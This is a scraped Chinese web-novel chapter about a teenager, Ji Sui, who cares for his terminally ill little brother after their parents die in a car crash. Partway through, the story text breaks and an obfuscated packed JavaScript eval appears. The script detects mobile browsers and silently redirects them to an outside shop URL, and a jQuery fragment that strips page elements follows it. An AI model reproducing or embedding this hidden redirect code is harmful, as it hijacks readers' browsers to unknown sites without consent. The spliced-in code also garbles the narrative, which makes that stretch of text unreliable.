腊月天，大雪纷飞，几个小时的功夫雪便漫过了小腿肚，走起路来咯吱咯吱响。
没多久就要过年，不远处钢铁厂正加班加点忙活，燃烧出来的烟颗粒从生锈烟囱向外冒出，大朵大朵的，格外刺鼻。
北方这个天太冷了，路上冻死个人都不稀奇。
雪下得太大，把路灯都给压坏了，时闪时灭。小巷子的尽头，一个赤着耳朵的少年紧攥着手指，身上衣服单薄至极，咬牙逆着风雪向前，路灯把他的影子拉得好长。
“阿婆，我想换把长命锁。”
季随抖了抖肩膀，把上面厚厚的积雪拍打下去，拉开泛着铁锈的玻璃门，向里走去。
穿着红花袄的阿婆眯着老花眼朝门口看着，大概两三秒钟的功夫便转身从身后橱柜里拿出个实木盒子，这是她前几天托人外省带来的，昨天才收到货。
阿婆睨了他一眼：“确定要买？”
“嗯。”冒着大雪走了半个钟头，季随鼻子被冻坏了，没有知觉。
“小随啊，你也知道，阿婆这长命锁都不便宜，你弟这……哎。”想到季家那长不大的男娃，阿婆兀自摇头叹了口气：“用不了多久也是白费，你拿着钱给自己交交学费买点书不好吗，买什么长命锁，不值当。”
季随拉了拉单薄的衣领，没有说话，他的嘴唇被冻到发紫，像是发不出声音。
季随从小性子拗，鲜少有人能说服他。阿婆实在没办法，当着季随的面把实木盒子给打开了。
季随紧攥着的手指终于松开了些许，他看着躺在盒子里的长命锁好久。
“我弟皮肤太薄，我想给他挑个细点的链条。”
-
钢铁厂这儿的人都知道厂东头住着一户独姓人家，姓季。
夫妻俩搬到这没多少年，因为生不出娃而去福利院收养了个孩子。尽管领养了个娃，期间也没少拜神吃药，十多年过去了好不容易生了个白白胖胖的男娃，很招喜，就是可惜是个病秧子，活不了太久，顶多活到五六岁。
夫妻俩当年一夜之间白了头发，老了一二十岁。可是命运多舛，还没来得及看到希望，就在冬至前几天，夫妻俩去医院看儿子的路上被车撞了半条街的距离，听说脑浆都撞出来了，自然没了呼吸。
哥弟俩就这样成了孤儿，一个高中还没毕业，一个才六七岁。
-
冬至晚上，煤炭厂的人家都在围一起吃饺子，只有厂东头季家院子里昏暗一片，别说饺子了，连个热气都没有。
“小慈，输液瓶空了按一下按钮就好。”到了每天的固定输液时间，护士给季知慈挂上药瓶，用皮筋绑住他的手腕，找准青筋，在他手背上扎了一下。
尽管已经输过无数次液了，季知慈依旧不敢看扎针的过程，每次护士给他扎针，他都会紧紧闭着眼睛，等胶带贴上去了才慢慢睁开。
“知道啦。”季知慈睁开圆溜溜的眼睛，松了口气：“谢谢你。”
“小家伙嘴真甜。”护士笑着揉了揉季知慈的头发，又软又蓬松：“小慈乖乖的，待会你爸妈就来看你了，等姐姐忙完了陪你玩游戏。”
“嗯！”季知慈也跟着笑笑。
季知慈从小体弱多病，得了治不好的病，父母和哥哥带着他去了很多个医院，几乎每个医生都说他顶多活个五六年，是个长不大的小孩。
不过季知慈被保护得很好，他并不知道自己长不大这件事，只知道自己和其他小朋友不一样，大家都在上幼儿园上小学的年纪，他却一直待在医院。
护士姐姐说他是天使，因为天使是最特别的，说不定哪天就能长个翅膀飞出去呢。
季知慈信了，于是他第一个会写的词就是天使。
第二是哥哥的名字，季随。
季随的“随”字太难写，要么是偏旁总写错，要么是总多写了一横，季知慈花了好长时间才学会。为了防止自己忘记，他每天都会在日记本上写上很多遍哥哥的名字。今天也是。
季知慈左手扎着针，右手拿过日记本，打开新的一页，握着铅笔，工工整整地又写了一遍季随的名字。
从有记忆以来季知慈便开始住院，连家都没回过几次，每次写哥哥名字的时候他总是最开心的，圆溜溜的眼睛眨呀眨，白皙的手指头捏笔捏得通红。
他很喜欢哥哥，可是哥哥不喜欢他。但是没关系，哥哥不喜欢他可能是因为他不太熟悉自己，等他病好了要天天粘着哥哥，说不定到时候哥哥就喜欢他了。
爸妈白天要上班赚钱，只能晚上下班才能来医院看他，哥哥也很忙，再过一年就要高考了，也很少来医院。季知慈半个月看不到他几次，早就已经习惯了。
窗外天色逐渐暗了下来，听护士姐姐说今天是冬至，要吃饺子的。小孩子总是对节假日充满期待，季知慈这会倒有些想吃饺子了。
“阿知，阿知。”
隔壁床一个小胖子掀开被子爬下了床。
听到有人在叫自己，季知慈回过头来，看着小胖子歪了歪头。
“送给你。”小胖子从背后拿出一个小盒子，冲季知慈咧嘴笑：“我马上要出院了，以后可能见不到你了，送你一个礼物当纪念。”
季知慈手指一紧，眼睛也跟着亮了起来：“你要出院了吗？”
“对。”小胖子把礼物盒递到季知慈病床上，摸了摸圆滚滚的头：“爸爸妈妈说我的病已经好得差不多了，可以回去上二年级了。”说着，小胖子又想到什么，拉了拉季知慈的病号服：“阿知，你可不要忘了我，我会想你的。”
小孩子情绪变化莫测，上一秒还在因为可以出院而咧嘴笑，下一秒想到离别就开始哇哇哭了起来，哭得一把鼻涕一把泪的，蹭的季知慈衣服上都是的。
“不会的。”季知慈也跟着红了眼眶。他跟小胖子在同一个病房住了这么久，突然就离开了，心里苦苦的：“等我有机会出院之后就去找你玩，你也别忘了我，不然我会伤心的。”
小胖子嘟着嘴点点头，埋头又在季知慈被子上呜咽了起来。
冬至那天晚上季知慈在病房等了好久，等到小胖子都出院了，爸妈还没有来。
晚上又挂了一次点滴，季知慈看了房门无数次，他太累了，一不小心睡着了。
迷迷糊糊之间，他闻到一股熟悉的皂香味，很清很淡，但季知慈还是一瞬间就闻到了。
这是哥哥身上的味道。
“哥哥。”
季知慈揉了揉模糊的眼睛，下意识向门口看去。
这会已经黑得透彻了，病房没有开灯，一片昏暗。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449675|201140||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
季随特地控制自己轻轻关门，没想到还是把季知慈给吵醒了。他打开灯，走了过来。
“哥哥你怎么来啦。”季知慈狗狗眼明亮又有神，看见哥哥就控制不住眨呀眨，他掀开被子就要下床，就差没抱住哥哥大腿了。
“别乱动。”季随把东西放在一旁桌子上，抬了抬眼皮，握着季知慈手腕，替他盖上被子，余光瞥见临床是空的。
见到哥哥季知慈太高兴了，没有注意到哥哥的目光，他双手搂着季随胳膊，不让他离开。
季随没说话，意识到什么之后脱开季知慈的手，没再让他继续抓着自己。
“哥哥……”看着自己空荡荡的手心，季知慈很想再去抓哥哥的手，但又怕哥哥讨厌自己，只好乖乖收回了手，重新塞到被子里。
“我不乱动，哥哥你别走。”
季随看了他一眼，不经意间对上那双带着期待的大眼睛，末了应了声：“嗯。”
季随虽然只嗯了声，但已经够季知慈开心好久了，毕竟哥哥平常每次来看他都不怎么和他说话。
“哥哥？”小话唠没忍住又叫了声哥哥。
哥哥这次没答应了。
这个天太冷了，病房空调制热不怎么好，季知慈只穿了一件薄薄的病号服，看着有些冷，季随从一旁行李箱里拿出季知慈的外套，拉着季知慈的胳膊给他穿上了衣服。
就在这时，季随突然听到季知慈说：
“哥哥，爸爸妈妈今天怎么没来，我已经好几天没见到他们了。”
小家伙想碰又不敢碰季随，只能用提溜圆的眼睛盯着他看。
季随手指顿了片刻，没有直接回答他：“吃饭。”
他从手提袋里拿出保温盒，里面是他刚才食堂打包的饺子。
他刚处理完季父季母的事就赶过来了，从兼职地方赶到车祸现场，又从车祸现场赶到医院，忙了整整两天，一会也没有休息，来看季知慈前连被雪拍湿的衣服也没来得及换，更别提吃饭了。
以后这个家就只剩他们俩了，再也没有其他人了。
“哥哥，饺子好好吃。”季知慈手指紧紧抓着他的手腕，吃着哥哥亲手递过来的饺子，和梦里想的一模一样。
已经快两天没人来看季知慈，小家伙大概是真饿了，平日不喜欢吃玉米的他，一口气吃了五六个玉米鸡肉馅饺子。
“哥哥，你也吃。”季知慈仰头看着季随，手指捏了捏季随的小拇指。
“吃过了。”
医生说季知慈晚上不能吃太多东西，季随抬了下眼皮，把保温盒收了回来，拿了个盒子接了半碗热水，泡了一会纯牛奶。
“哥哥。”季知慈不老实，喝着热牛奶也要叫哥哥。
“嗯。”季随把垃圾收拾了一下，待会回去的时候可以顺便扔了。
“哥哥。”季知慈咬着吸管，张着大眼睛又喊了一声。
季随没再答应他。
等了这么久其实季知慈早就困了，喝着热牛奶，喊着哥哥，没一会就睡着了。
牛奶纸盒啪嗒一下落了地，季随把盒子扔进一旁垃圾桶，伸手给季知慈掖被子。
离开病房之前，季随亲手把平安锁系在季知慈手腕上。
那是他干了好几个月兼职买来的平安锁。